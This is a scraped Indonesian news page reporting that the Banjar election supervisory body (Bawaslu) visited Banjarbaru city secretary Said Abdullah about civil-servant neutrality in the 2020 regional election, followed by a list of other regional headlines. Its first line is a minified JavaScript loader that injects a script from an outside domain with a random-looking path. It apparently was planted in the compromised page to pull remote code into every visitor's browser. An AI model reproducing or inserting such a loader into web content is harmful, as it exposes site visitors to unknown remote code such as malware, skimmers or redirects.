(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: POLITIK BANJAR

Terkait Netralitas ASN di Pilkada, Bawaslu Banjar Datangi Sekdako Banjarbaru Said Abdullah


KANALKALIMANTAN.COM, BANJARBARU– Netralitas ASN di Pilkada 2020 menjadi perhatian serius Bawaslu Banjar. Terkait hal tersebut, Bawaslu aktif melakukan pemanggilan maupun klarifikasi terhadap sejumlah ASN yang ikut dalam bursa Pilkada Banjar. Setelah mengklarifikasi pasangan pasangan Mada Teruna, Kepala Dinas Koperasi dan Usaha Kecil Menengah (UKM) dan Sekretaris Dinas Perindustrian dan Perdagangan (Disperindag) Kabupaten Banjar, Ferryansyah, yang maju di Pilkada Banjar pada Rabu (29/1/2020) lalu. Bawaslu giliran mendatangi Sekdako Banjarbaru H. Said Abdullah.

Kamis (13/2) lalu, Bawaslu Banjar mendatangi Said Abdullah di kantor sekdako Banjarbaru. Hal tersebut guna mengkonfirmasi kedatangan Said ke DPD PAN pada (25/1/2020) lalu. Demikian disampaikan Ketua Bawaslu Banjar Fajeri Tamzidillah kepada Kanalkalimantan.com.

Kedatangan Bawaslu Banjar menemui Said terkait dugaaan pelanggaran dan kode etik netralitas ASN yang disandangnya. “Ini yang kita lakukan hanyalah untuk mengklarifikasi status beliau yang menjabat sebagai sekda kota Banjarbaru. Karena beliau adalah PNSnya di Banjarbaru makanya kita datangi ke sana, tentu hal itu juga kita sudah koordinasikan dengan Bawaslu Provinsi juga. Alangkah lebih eloknya begitu, makanya kita datangi beliau bukannya beliau yang kita undang ke kantor Bawaslu Banjar,” akunya.

Sebelumnya Said Abdullah mendaftar di PAN untuk maju di Pilkada Banjar dan bulat nyatakan tekatnya untuk melepas jabatannya sebagai Sekretaris Daerah (Sekda) Kota Banjarbaru, yang akan maju dalam Pemilihan Bupati (Pilbup) Kabupaten Banjar 2020.

“Kita sudah dapat kabar terbaru, bahwa ASN memang harus mengundurkan diri, saya sudah siap itu tidak ada masalah, pada waktunya apabila keluar nama saya di KPU nanti maka status saya bukan ASN lagi,” ujar Said, Senin (25/1/2020) lalu.

Dikonfirmasi terpisah, Erna Kasypiah Ketua Bawaslu Kalsel mengatakan mekanisme invertigasi pengawasan dan tahapan termasuk perundang undangan lainnya yang dilakukan Bawaslu Banjar sudah tepat. Mekanisme semacam itu di perbolehkan untuk melengkapi data informasi yang ada di Bawaslu.

“Jadi mekanisme yang Bawaslu Banjar lakukan itu adalah mekanisme investigasi, boleh kami yang mendatangi boleh juga Bawaslu yang memanggila yang bersangkutan, hal itu memang benar dilakukan terkait dugaan pelanggaran dan kode etik netralitas ASN,” jelasnya. (Kanalkalimantan.com/rdy)

 

 

Reporter : Rdy
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.